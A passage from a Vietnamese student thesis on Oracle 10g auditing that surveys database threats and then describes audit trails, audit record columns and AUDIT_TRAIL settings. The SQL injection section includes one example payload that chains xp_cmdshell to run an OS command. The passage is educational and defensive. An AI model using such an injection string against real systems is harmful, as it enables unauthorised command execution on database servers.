Khai thác dữ liệu trái phép thông qua suy diễn thông tin được

phép.

Sửa đổi dữ liệu trái phép.

Từ chối dịch vụ hợp pháp.

Các hiểm hoạ an toàn có thể được phân lớp, tuỳ theo cách thức xuất hiện

của chúng, là hiểm hoạ có chủ ý và vô ý (ngẫu nhiên).

Những xâm phạm trên liên quan đến hai lớp người dùng sau:

Người dùng được phép là người có thể lạm dụng quyền, sử dụng

vượt quá quyền hạn được phép của họ.

Đối phương là người, hay nhóm người truy nhập thông tin trái

phép, có thể là những người nằm ngoài tổ chức hay bên trong tổ

chức. Họ tiến hành các hành vi phá hoại phần mềm cơ sở dữ liệu

hay phần cứng của hệ thống, hoặc đọc ghi dữ liệu trái phép. Trong

cả hai trường hợp trên, họ đều thực hiện với chủ ý rõ ràng.

Một số tấn công phổ biến hiện nay:

Tấn công SQL injection

Lớp AT3C - 41 - Cao Thị Hồng Thúy

Page 42: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ

hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông

báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào"(inject) và thi hành các câu

lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước).

Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện

các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng

dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra

trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ

liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.

Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập

(authorization bypass), sử dụng câu lện SELECT, sử dụng câu lệnh INSERT,

sử dụng các stored-procedures [2], [3].

- Dạng tấn công vượt qua kiểm tra đăng nhập

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng

nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của

ứng dụng web.

- Dạng tấn công sử dụng câu lệnh SELECT

Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này,

kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo

lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.

- Dạng tấn công sử dụng câu lệnh INSERT

Thông thường các ứng dụng web cho phép người dùng đăng kí một tài

khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công,

người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có

thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập

vào.

- Dạng tấn công sử dụng stored-procedures

Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng

dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn

mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmd.exe dir C: '. Lúc này hệ thống

sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại

kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

Lớp AT3C - 42 - Cao Thị Hồng Thúy

Page 43: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Attacking Oracle

Đầu tiên kẻ tấn công sử dụng TCP scan port để quét lỗ hổng trên Server

Database Oracle. Để phát hiện được bước đầu tiên kẻ tấn công sẽ thực hiện

quét trên cổng TNS . Cổng TNS làm việc như sau:

- Bất cứ khi nào một kết nối có Username , mật khẩu và ID của phiên

làm việc hoặc tên dịch vụ được gửi đến cổng TNS

- Hệ thống sẽ kiểm tra ID của phiên làm việc và tên dịch vụ nếu sẽ cho

phép đăng nhập nếu không sẽ gửi lại thông điệp báo lỗi. Thông tin đăng nhập

sẽ được xác thực , hệ thống bắt đầu lắng nghe các yêu cầu từ Client gửi đến

server qua cổng bất kỳ và một phiên làm việc mới sẽ được thiết lập giữa

Client và Server

Khi luồng dữ liệu kết thúc , Oracle có thể lắng nghe nhiều phiên kết nối

đến nó

Tấn công DoS

Kẻ tấn công thường làm tràn bộ đệm của hệ thống hoặc làm ngập lụt

băng thông mạng để sửa đổi dữ liệu hoặc đánh cắp thông tin

Tấn công leo thang đặc quyền

Sự leo thang đặc quyền có thể hiểu đơn giản là một phương thức tấn

công mà với cách này, các User có quyền hạn thấp hơn sẽ tấn công vào một

điểm dễ bị tổn thương nhất của hệ thống để trở thành một người quản trị hoặc

có thể trở thành các User có quyền hạn cao hơn. Cách để leo thang đặc quyền

mà ta có thể nghĩ ngay đến đó là việc chiếm quyền thông qua crack password

của người quản trị, tấn công tràn bộ đệm của máy đó và ăn cắp password. Bài

phân tích này sẽ đưa ra một điểm yếu chung mà có thể được khai thác để ăn

cắp password và sau đó là leo thang đặc quyền. Và cũng qua bài phân tích

này, chúng ta sẽ thấy được các nhược điểm của các hệ thống từ đó đánh giá

đúng hơn về việc tấn công leo thang đặc quyền và tầm quan trọng của việc

tiến hành vá lỗi liên tục cho hệ thống.

2.1.2. Các yêu cầu bảo vệ cơ sở dữ liệu.

Bảo vệ cơ sở dữ liệu khỏi các hiểm hoạ, có nghĩa là bảo vệ tài nguyên,

đặc biệt là dữ liệu khỏi các thảm hoạ, hoặc truy nhập trái phép. Các yêu cầu

bảo vệ cơ sở dữ liệu gồm:

Lớp AT3C - 43 - Cao Thị Hồng Thúy

Page 44: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Bảo vệ chống truy nhập trái phép

Bảo vệ chống suy diễn

Bảo vệ toàn vẹn cơ sở dữ liệu

Khả năng lưu vết và kiểm tra

Xác thực người dùng

Quản lý và bảo vệ dữ liệu nhạy cảm

Bảo vệ nhiều mức

2.1.3. Vai trò của kiểm toán trong việc bảo vệ cơ sở dữ liệu.

Để bảo mật cơ sở dữ liệu thì giám sát (Monitoring) và kiểm toán (Audit)

là một phần không thể thiếu cho những thủ tục bảo mật.

Kiểm toán giúp thu giữ và lưu trữ thông tin về những gì đang xảy ra

trong hệ thống. Kiểm toán phải được tập trung để chỉ những sự kiện được

quan tâm sẽ được lưu lại vết (Trail).Từ đó nhờ những bản ghi audit sẽ giúp

DBA phát hiện và kịp thời những tấn công hay lỗ hổng và ngăn chặn những

hành vi phá hoại của tin tặc.Hoặc nhanh chóng sửa chữa những bất thường

của hệ thống.

Kiểm toán thường được sử dụng để:

Kích hoạt tính trách nhiệm sau này cho các hành động hiện tại

thực hiện trong một lược đồ đặc biệt, bảng, hoặc hàng, hoặc ảnh

hưởng đến nội dung cụ thể.

Giúp người giám sát biết được nếu có user bất hợp pháp đang thao

tác với cơ sở dữ liệu.

Điều tra hoạt động đang nghi ngờ. Ví dụ. nếu một người sử dụng

trái phép là xóa dữ liệu từ các bảng, sau đó các quản trị viên bảo

mật có thể kiểm toán tất cả các kết nối CSDL và tất cả các xóa bỏ

thành công va không thành công của các hàng từ tất cả các bảng

trong CSDL.

Theo dõi và thu thập dữ liệu về các hoạt động CSDL cụ thể. Ví

dụ, người quản trị CSDL có thể thu thập số liệu thống kê về những

Lớp AT3C - 44 - Cao Thị Hồng Thúy

Page 45: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

bảng đang được cập nhật, bao nhiêu I/O được thực hiện, hoặc làm

thế nào nhiều người dùng đồng thời kết nối tại thời gian cao điểm.

2.2. TỔNG QUAN VỀ KIỂM TOÁN.

2.2.1. Định nghĩa kiểm toán.

Kiểm toán là việc theo dõi và ghi lại các hành động lựa chọn CSDL

người dùng. Nó có thể được dựa trên hành động cá nhân, chẳng hạn như các

loại câu lệnh SQL, hoặc kết hợp các yếu tố bao gồm tên, ứng dụng, thời gian,

… Chính sách bảo mật có thể tạo ra kiểm toán khi các yếu tố quy định tại một

CSDL Oracle được truy cập hay thay đổi, bao gồm cả nội dung.

Kiểm toán làm tăng số lượng công việc của hệ thống phải làm.Kiểm toán

đúng mức sẽ có những tác động tối thiểu trên hiệu suất hệ thống. Tập trung

kiểm toán không đúng có thể ảnh hưởng đến hiệu suất đáng kể.

Oracle cho phép tùy chọn kiểm toán phải được tập trung hoặc mở rộng,

cho phép kiểm toán sau đây:

Sự thực hiện statement thành công , Sự thực hiện statement không

thành công, hoặc cả hai.

Sự thực hiện statement một lần trong mỗi phiên của người dùng

hoặc một lần trong thời gian báo cáo được thực thi

Các hoạt động của tất cả người dùng hoặc của một người dùng cụ

thể

Ta có thể sử dụng Enterprise Manager để xem và cấu hình các thông số

liên quan đến kiểm toán khởi tạo và quản lý các đối tượng được kiểm toán để

báo cáo kiểm toán và lược đồ đối tượng kiểm toán. Ví dụ, Enterprise Manager

cho thấy các thuộc tính các báo cáo kiểm toán hiện tại, đặc quyền, và đối

tượng. Ta có thể xem các thuộc tính của từng đối tượng, và có thể tìm kiếm

các đối tượng được kiểm toán bởi các thuộc tính của họ. Ta cũng có thể bật và

tắt kiểm toán trên các đối tượng, báo cáo, và đặc quyền.

2.2.2. Các loại đường mòn (Trail) và bản ghi (Record).

Record audit(Bản ghi kiểm toán) bao gồm thông tin về các hoạt động đã

được kiểm toán, người sử dụng thực hiện các hoạt động, và ngày và thời gian

hoạt động. Hồ sơ kiểm toán có thể được lưu dưới dạng một bảng từ điển dữ

Lớp AT3C - 45 - Cao Thị Hồng Thúy

Page 46: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

liệu, được gọi là database audit trail (đường mòn kiểm toán cơ sở dữ liệu),

hoặc trong các tập tin hệ điều hành, được gọi là (operating system audit trail)

đường mòn hệ thống kiểm toán hoạt động.

Có hai loại kiểm toán chính là Standard audit và fine-grained auditing.

Standard audit records được tạo và lưu lại tại DBA_AUDIT_TRAIL (bảng

sys.aud$) hoặc hệ điều hành. Fine-grained audit records được tạo và lưu tại

DBA_FGA_AUDIT_TRAIL (bảng sys.fga_log$ ) và view

DBA_COMMON_AUDIT_TRAIL là kết hợp standard and fine-grained audit

log records.

Tên Null Loại

----------------------------------------- -------- ----------------------------

SESSIONID NOT NULL NUMBER

TIMESTAMP# DATE

DBUID VARCHAR2(30)

OSUID VARCHAR2(255)

OSHST VARCHAR2(128)

CLIENTID VARCHAR2(64)

EXTID VARCHAR2(4000)

OBJ$SCHEMA VARCHAR2(30)

OBJ$NAME VARCHAR2(128)

POLICYNAME VARCHAR2(30)

SCN NUMBER

SQLTEXT VARCHAR2(4000)

LSQLTEXT CLOB

SQLBIND VARCHAR2(4000)

COMMENT$TEXT VARCHAR2(4000)

PLHOL LONG

STMT_TYPE NUMBER

Lớp AT3C - 46 - Cao Thị Hồng Thúy

Page 47: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

NTIMESTAMP# TIMESTAMP(6)

PROXY$SID NUMBER

USER$GUID VARCHAR2(32)

INSTANCE# NUMBER

PROCESS# VARCHAR2(16)

XID RAW(8)

AUDITID VARCHAR2(64)

STATEMENT NUMBER

ENTRYID NUMBER

DBID NUMBER

LSQLBIND CLOB

Khi nào audit record được tạo

- Standard auditing cho toàn bộ cơ sở dữ liệu có thể kích hoạt hay vô

hiệu hóa bởi các quản trị viên bảo mật. Nếu nó bị tắt, sau đó không có hồ sơ

kiểm toán được tạo ra.

- Nếu kiểm toán cơ sở dữ liệu được kích hoạt bởi người quản trị bảo mật,

sau đó tùy chọn kiểm toán cá nhân có hiệu lực. Các tùy chọn này kiểm toán

có thể được thiết lập bởi bất kỳ người sử dụng cơ sở dữ liệu được ủy quyền

cho các đối tượng cơ sở dữ liệu mà người dùng sở hữu.

- Khi kiểm toán được kích hoạt trong cơ sở dữ liệu và hành động một

thiết lập hành động để kiểm toán và một bản ghi kiểm toán được tạo ra trong

giai đoạn thực thi của statement.

- Câu lệnh SQL bên trong PL / SQL được kiểm toán một cách riêng lẻ,

khi cần thiết, khi các đơn vị chương trình được thực hiện.

- Việc phát sinh và chèn của một audit trail record là user transaction độc

lập được thực hiện.

Lớp AT3C - 47 - Cao Thị Hồng Thúy

Page 48: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

- Statement and privilege audit có hiệu lực tại thời điểm một người sử

dụng cơ sở dữ liệu kết nối với cơ sở dữ liệu vẫn có hiệu lực trong khoảng thời

gian phiên của họ.

- Thiết lập hoặc thay đổi các tùy chọn statement or privilege audit trong

một phiên không có hiệu lực trong phiên giao dịch đó. Các statement sửa đổi

hoặc lựa chọn privilege audit chỉ có hiệu lực khi kết thúc phiên hiện tại và

phiên mới được tạo ra.

- Ngược lại, thay đổi sơ đồ lựa chọn đối tượng kiểm toán (schema object

audit) có hiệu lực cho phiên hiện tại ngay lập tức.

Các loại Trail và record:

- Database Audit Trail (DBA_AUDIT_TRAIL)

- Operating System Audit Trail

- Syslog Audit Trail

- Operating System and Syslog Audit Records

- Records Always in the Operating System and Syslog Audit Trail

2.2.2.1. Database Audit Trail (DBA_AUDIT_TRAIL).

Database audit trail bao gồm một bảng duy nhất tên là SYS.AUD $ trong

SYS schema của data dictionary của mỗi cơ sở dữ liệu Oracle. Một số

predefined views được cung cấp để giúp sử dụng thông tin trong bảng này,

chẳng hạn như DBA_AUDIT_TRAIL.

Audit trail records có thể chứa các loại thông tin khác nhau, tùy thuộc

vào các sự kiện được kiểm toán và các tùy chọn kiểm toán đặt ra. Danh sách

một phần trong bảng sau cho thấy các cột mà thường xuất hiện trong các

đường mòn kiểm toán (audit trail).

SQLBIND và SQLTEXT không được lưu lại, trừ khi chỉ định

AUDIT_TRAIL = DB, EXTENDED trong file khởi tạo cơ sở dữ liệu,

init.ora.

Nếu các bản ghi dữ liệu kiểm toán trở nên đầy hoặc không sẵn sàng, nên

không thể chấp nhận những bản ghi mới,thì sau đó một hành động được kiểm

Lớp AT3C - 48 - Cao Thị Hồng Thúy

Page 49: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

toán sẽ không thể được lưu lại. Thay vào đó, nó tạo ra một thông báo lỗi và

không được thực hiện.

Sau đây là bảng liệt kê các bản ghi trong audit trail:

Tên Null Type

---------------------------------------------------------------------------------------------

SESSIONID NOT NULL NUMBER

ENTRYID NOT NULL NUMBER

STATEMENT NOT NULL NUMBER

TIMESTAMP# NOT NULL DATE

USERID VARCHAR2(30)

USERHOST VARCHAR2(128)

TERMINAL VARCHAR2(255)

ACTION# NOT NULL NUMBER

RETURNCODE NOT NULL NUMBER

OBJ$CREATOR VARCHAR2(30)

OBJ$NAME VARCHAR2(128)

AUTH$PRIVILEGES VARCHAR2(16)

AUTH$GRANTEE VARCHAR2(30)

NEW$OWNER VARCHAR2(30)

NEW$NAME VARCHAR2(128)

SES$ACTIONS VARCHAR2(19)

SES$TID NUMBER

LOGOFF$LREAD NUMBER

LOGOFF$PREAD NUMBER

LOGOFF$LWRITE NUMBER

LOGOFF$DEAD NUMBER

LOGOFF$TIME DATE

Lớp AT3C - 49 - Cao Thị Hồng Thúy

Page 50: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

COMMENT$TEXT VARCHAR2(4000)

SPARE1 VARCHAR2(255)

SPARE2 NUMBER

OBJ$LABEL RAW(255)

SES$LABEL RAW(255)

PRIV$USED NUMBER

Có thể xem lại danh sách này bằng cách dùng câu lệnh “desc aud$” trên

SQL command line.

2.2.2.2. Operating System Audit Trail.

Cơ sở dữ liệu Oracle cho phép audit trail records để được hướng đến

operating system audit trail .Nếu operating system có sẵn 1 audit trail cho

Oracle Database. Nếu không, sau đó hồ sơ kiểm toán được ghi vào một tập tin

bên ngoài cơ sở dữ liệu. Các mục đích directory khác nhau tùy theo nền tảng:

trên nền tảng hệ điều hành Solaris, nó là $ORACLE_HOME / RDBMS /

audit. Nhưng đối với các nền tảng khác, phải kiểm tra các tài liệu nền tảng để

tìm hiểu các mục tiêu chính xác. Trong Windows, thông tin được truy cập

thông qua Event Viewer.

Nếu init.ora xác định AUDIT_TRAIL = XML, sau đó audit records được

viết cho hệ điều hành như các file XML. Một view mới,

V$XML_AUDIT_TRAIL, như bản ghi kiểm toán (audit record) XML có sẵn

cho DBAs thông qua một truy vấn SQL, cung cấp khả năng sử dụng nâng

cao.

Việc truy vấn các view tạo nên tất cả các file XML (tất cả các file có

phần mở rộng xml.) trong thư mục AUDIT_FILE_DEST được phân tích và

trình bày dưới dạng bảng quan hệ. Vì XML là một định dạng tài liệu tiêu

chuẩn, nhiều tiện ích có sẵn để phân tích cú pháp như XML data.

Tuy nhiên, operating system audit trail hoặc file system có thể bị đầy và

do đó không thể chấp nhận những bản ghi mới, kể cả audit records hướng đến

hệ điều hành. Trong trường hợp này, cơ sở dữ liệu Oracle vẫn cho phép một

số hành động nhất định được tiếp tục kiểm toán, mặc dù bản ghi kiểm toán

không thể được lưu trữ bởi vì hệ điều hành đã bị đầy.Sử dụng các dấu vết cơ

Lớp AT3C - 50 - Cao Thị Hồng Thúy

Page 51: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

sở dữ liệu (database audit trail) ngăn chặn các hành động được kiểm toán từ

việc hoàn tất nếu audit record không thể được lưu trữ.

Quản trị hệ thống cấu hình hệ điều hành kiểm toán (operating system

auditing) cần đảm bảo rằng hệ thống đường mòn hoạt động kiểm toán hoặc hệ

thống tập tin (operating system audit trail or the file system) hoàn toàn không

bị đầy. Hầu hết các hệ điều hành cung cấp cho các quản trị viên với đầy đủ

thông tin và cảnh báo để họ có thể đảm bảo điều này không xảy ra.

Tuy nhiên, cấu hình kiểm toán để sử dụng database audit trail có thể loại

bỏ các khả năng mất các thông tin kiểm toán. Các máy chủ cơ sở dữ liệu

Oracle ngăn chặn kiểm toán các sự cố nếu audit trail không thể chấp nhận

những database audit record cho statement.

Danh sách một phần trong bảng sau cho thấy các cột mà thường xuất

hiện trong các đường mòn kiểm toán (audit trail) và Operating System Audit

Trail:

Tên cột

Cũng có thể xuất hiện trong

Operating System Audit Trail?

Operating system login user name

(CLIENT USER)

Yes.

Database user name (DATABASE

USER)

Yes.

Session identifier Yes.

Terminal identifier Yes.

Lớp AT3C - 51 - Cao Thị Hồng Thúy

Page 52: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Tên cột

Cũng có thể xuất hiện trong

Operating System Audit Trail?

Name of the schema object accessed Yes.

Operation performed or attempted

(ACTION)

Yes.

Completion code of the operation Yes.

Date and time stamp in UTC

(Coordinated Universal Time) format

Date and time yes, but not in UTC

format.

System privileges used (PRIVILEGE) Yes.

Proxy Session audit ID No.

Global User unique ID No.

Distinguished name Yes.

Instance number No.

Process number No.

Transaction ID No.

SCN (system change number) for the

SQL statement

No.

SQL text that triggered the auditing

(SQLTEXT)

No.

Bind values used for the SQL No.

Lớp AT3C - 52 - Cao Thị Hồng Thúy

Page 53: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Tên cột

Cũng có thể xuất hiện trong

Operating System Audit Trail?

statement, if any (SQLBIND)

Bảng 2.1: Bảng các cột điển hình trong audit trail và Operating System Audit

Trail

2.2.2.3. Syslog Audit Trail.

Lỗ hổng bảo mật tiềm tàng cho một operating system audit trail là đặc

quyền người sử dụng như là DBA có thể sửa hoặc xóa các bản ghi kiểm toán.

Để giảm thiểu nguy cơ này, có thể sử dụng các dấu vết syslog. Syslog là một

giao thức chuẩn trên các hệ thống dựa trên UNIX để đăng nhập thông tin từ

các thành phần khác nhau của mạng. Ứng dụng gọi là syslog () để đăng nhập

thông tin vào syslog daemon, mà sau đó xác định nơi để đăng nhập thông tin.

Có thể cấu hình syslog để đăng nhập thông tin vào một tên file syslog.conf

đến một log máy chủ từ xa chuyên dụng. Cũng có thể cấu hình syslog để cảnh

báo một loạt quy định của người sử dụng khi thông tin được đăng nhập.

Bởi vì các ứng dụng, chẳng hạn như là một quá trình xử lý Oracle, sử

dụng syslog () để đăng nhập thông tin vào syslog daemon, một người sử dụng

đặc quyền không cần phải có quyền truy cập đến hệ thống nơi mà thông điệp

được đăng

Vì lý do này, audit records lưu trữ bằng cách sử dụng syslog audit trail

có thể được an toàn hơn so với audit records lưu trữ bằng cách sử dụng

operating system audit trail.Việc hạn chế quyền truy cập đến các file hệ thống

của các người dùng đặc quyền, syslog audit trail được an toàn hơn.

2.2.2.4. Operating System and Syslog Audit Records.

Operating system và syslog audit trails được mã hóa, nhưng được giải

mã trong từ điển dữ liệu tập tin và thông báo lỗi. Bao gồm:

Mã hành động mô tả các hoạt động thực hiện hoặc cố gắng. Các

dữ liệu từ điển AUDIT_ACTIONS bảng chứa danh sách của các

mã và mô tả về chúng.

Lớp AT3C - 53 - Cao Thị Hồng Thúy

Page 54: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Đặc quyền sử dụng mô tả bất kỳ đặc quyền hệ thống được sử dụng

để thực hiện các hoạt động. Bảng SYSTEM_PRIVILEGE_MAP

liệt kê tất cả các mã và mô tả về chúng.

Hoàn thành mã mô tả các kết quả của các hoạt động đã cố gắng.

Hoạt động thành công trả về một giá trị số không, và các hoạt

động không thành công trả về mã lỗi Oracle mô tả lý do tại sao

các hoạt động đã không thành công.

Hoàn thành mã mô tả các kết quả của các hoạt động đã cố gắng.

Hoạt động thành công trả về một giá trị số không, và các hoạt

động không thành công trả về mã lỗi Oracle mô tả lý do tại sao

các hoạt động đã không thành công.

2.2.2.5. Các bản ghi luôn có trong Operating System and Syslog Audit

Trail.

Một số cơ sở dữ liệu liên quan đến hành động luôn được ghi nhận vào hệ

thống điều hành và các dấu vết kiểm tra syslog bất kể cơ sở dữ liệu kiểm toán

có được kích hoạt hay không. Thực tế là những hồ sơ này luôn tạo ra đôi khi

kiểm toán là bắt buộc. Những hành động sau đây được ghi lại:

Lúc khởi động chẳng hạn, một bản ghi kiểm toán được tạo ra

trong đó bao gồm người sử dụng hệ điều hành bắt đầu một

instance, các thiết bị đầu cuối nhận dạng của người sử dụng, và

đóng dấu ngày và thời gian. Thông tin này được ghi vào hệ thống

điều hành hoặc các dấu vết kiểm tra syslog, bởi vì các dấu vết cơ

sở dữ liệu không sẵn có cho đến sau khi khởi động đã hoàn tất

thành công.

Tại tắt máy chẳng hạn, một bản ghi kiểm toán được tạo ra rằng các

chi tiết của hệ điều hành người dùng tắt một instance, các thiết bị

đầu cuối nhận dạng của người sử dụng, và đóng dấu ngày và thời

gian.

Trong khi kết nối được thực hiện với quyền quản trị viên, một bản

ghi kiểm toán được tạo ra rằng các chi tiết của người dùng hệ điều

hành kết nối vào cơ sở dữ với quyền quản trị viên. Bản ghi này

Lớp AT3C - 54 - Cao Thị Hồng Thúy

Page 55: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

quy trách nhiệm liên quan đến người sử dụng kết nối với quyền

quản trị viên.

Trên hệ điều hành là nơi không thực hiện một dấu vết truy cập vào cơ sở

dữ, những audit trail records được đặt trong một tập tin Oracle đường mòn

kiểm toán (audit trail file) trong cùng thư mục như là nền tảng quá trình theo

dõi các tập tin, và trong một định dạng tương tự.

2.2.3. Duy trì đường mòn kiểm toán (Maintaining the Audit Trail).

Các Audit trail phải được duy trì khi được thực hiện theo các hướng dẫn:

Xem xét và lưu trữ bản ghi cũ.

Ngăn chặn việc lưu trữ các chương trình.

Tránh mất bản ghi.

Mỗi loại audit trail phải được duy trì. Bảo dưỡng cơ bản phải bao gồm

xem xét việc bản ghi kiểm toán và loại bỏ bản ghi cũ từ hệ thống cơ sở dữ

liệu hoặc điều hành. Audit trail có thể phát triển và làm đầy các lưu trữ có

sẵn.

Nếu các dấu vết cơ sở dữ liệu đầy các tablespace, các hành động được

kiểm toán không hoàn thành. Nếu audit trail (dấu vết kiểm toán) đầy các

tablespace hệ thống, việc thực hiện các hoạt động khác bị ảnh hưởng trước

khi ngừng hoạt động kiểm toán.

Các dấu vết kiểm toán của standard auditing được lưu trữ trong bảng

AUD $. Các dấu vết của FGA được lưu dữ ở bảng FGA_LOG $.Cả hai bảng

được tạo ra trong tablespace SYSTEM theo mặc định. Có thể di chuyển các

bảng đến tablespace khác bằng cách sử dụng các tiện ích export and import

utilities.

Nhưng cần phải chú ý rằng di chuyển các bảng kiểm toán trong

SYSTEM tablespace không được hỗ trợ.Các bản ghi kiểm toán có thể bị mất

trong quá trình xử lý di chuyển bản ghi từ các bảng kiểm toán.Cách thực hiện

tốt nhất là : Sử dụng export dựa trên time stamp, và sau đó xóa các hàng từ

các dấu vết, dựa trên các time stamp.

2.3. CÁC LOẠI KIỂM TOÁN.

Lớp AT3C - 55 - Cao Thị Hồng Thúy

Page 56: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Để giám sát cho hành vi đáng ngờ, giám sát (Monitoring) và kiểm toán

phải là 1 phần không thể thiếu cho những thủ tục bảo mật.

Các loại kiểm toán:

Mandatory auditing : Là các hoạt động kiểm toán mặc định .Bất

kể cơ sở dữ liệu kiểm toán có được kích hoạt hay không, cơ sở dữ

liệu Oracle luôn luôn kiểm tra một số hoạt động liên quan đến cơ

sở dữ liệu và ghi chúng vào tập tin vận hành hệ thống kiểm toán.

Thực tế này được gọi là kiểm toán bắt buộc,

Standard database auditing : Đây là thiết lập ở cấp độ hệ thống

bằng cách sử dụng những tham số AUDIT_TRAIL. Sau khi kích

hoạt tính năng kiểm toán, lựa chọn các đối tượng và đặc quyền

muốn kiểm toán.

Value-based auditing (Kiểm toán dựa trên giá trị) : Nó trải dài trên

Standard database auditing, không chỉ lưu các trường hợp kiểm

toán đã xảy ra mà còn là giá trị thực tế đã được đưa vào, cập

nhật,hoặc bị xóa. Kiểm toán dựa trên giá trị được thực hiện thông

qua cơ sở dữ liệu gây nên.

Fine-grained auditing (FGA): ): FGA mở rộng từ Standard

database, ghi lại SQL statement đã được ban hành thay vì chỉ

những sự kiện đã xảy ra.

DBA auditing: Nhiệm vụ kiểm toán riêng giữa DBA và kiểm toán

viên hoặc người quản trị an ninh những người mà giám sát những

hoạt động của DBA trong kiểm định hệ điều hành.

2.3.1. Mandatory Auditing.

Tất cả các hành động kiểm toán cơ sở dữ liệu Oracle nào đó không phân

biệt kiểm toán option hoặc parameters đều được lưu lại. Lý do cho việc kiểm

toán bắt buộc bản ghi (mandatory audit logs) là cơ sở dữ liệu cần ghi lại một

số hoạt động cơ sở dữ liệu, chẳng hạn như hệ thống khởi động và tắt máy.

Bao gồm các hoạt động sau đây:

Kết nối tới instance với quyền administrator

Lớp AT3C - 56 - Cao Thị Hồng Thúy

Page 57: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Bản ghi kiểm toán được tạo ra với danh sách người sử dụng hệ điều hành kết

nối vào cơ sở dữ liệu với quyền SYSOPER hoặc SYSDBA sẽ quy định về

trách nhiệm của người sử dụng với quyền administrative.

Database startup

Bản ghi kiểm toán được tạo ra danh sách người sử dụng hệ điều hành

trong trường hợp startup hệ thống với các thông tin user terminal identifier,

date and time stamp. Thông tin này được lưu trữ trong đường mòn vận hành hệ

thống kiểm toán(operating system audit trail) bởi vì các dấu vết cơ sở dữ liệu

không sẵn có cho đến khi khởi động đã hoàn tất thành công.

Database shutdown

Bản ghi kiểm toán tạo ra danh sách người sử dụng hệ điều hành trong

trường hợp shutdown hệ thống.

Hình 2.1: OS Audit Trail

2.3.2. Standard Database Auditing.

Lớp AT3C - 57 - Cao Thị Hồng Thúy

Page 58: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 2.2: Standard Database Auditing

2.3.2.1. Các bước kiểm toán.

Bước 1 : Khởi tạo kiểm toán ( Enabling Database Auditing )

Các tham số khởi tạo ảnh hưởng đến hành vi của nó có thể được hiển thị

bằng cách sử dụng SHOW PARAMETER SQL*Plus

a. SQL> SHOW PARAMETER AUDIT

b.

c. NAME TYPE VALUE

d. ------------------------------------ -----------

------------------------------

e. audit_file_dest string C:\ORACLE\

PRODUCT\10.2.0\ADMIN

f. \DB10G\ADUMP

g. audit_sys_operations boolean FALSE

h. audit_trail string NONE

i. SQL>

Kiểm toán được tắt theo mặc định, nhưng có thể kích hoạt bằng cách

thiết lập các thông số AUDIT_TRAIL tĩnh, trong đó có cho phép các giá trị

sau.

Lớp AT3C - 58 - Cao Thị Hồng Thúy

Page 59: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

AUDIT_TRAIL = { none | os | db | db,extended |

xml | xml,extended }

Danh sách dưới đây cung cấp một mô tả của mỗi thiết lập:

- None or false – Kiểm toán vô hiệu hóa

- Db or true – Kiểm toán được kích hoạt, với tất cả hồ sơ kiểm toán được

lưu trữ trong thử nghiệm kiểm toán CSDL (SYS.AUD$)

- Db,extended-As db,

- Xml – Kiểm toán được kích hoạt, với tất cả hồ sơ kiểm toán được lưu

trữ như định dạng XML tập tin hệ điều hành.

- Xml,extended – As xml

- Os- Kiểm toán được kích hoạt với tất cả hồ sơ kiểm toán hướng đến

các dấu vết cuẩ hệ điều hành.

Trong Oracle 10g phiên bản 1, db_extended được sử dụng thay cho db,

mở rộng các tùy chọn XML là tính năng mới của Oracle 10g phiên bản 2.

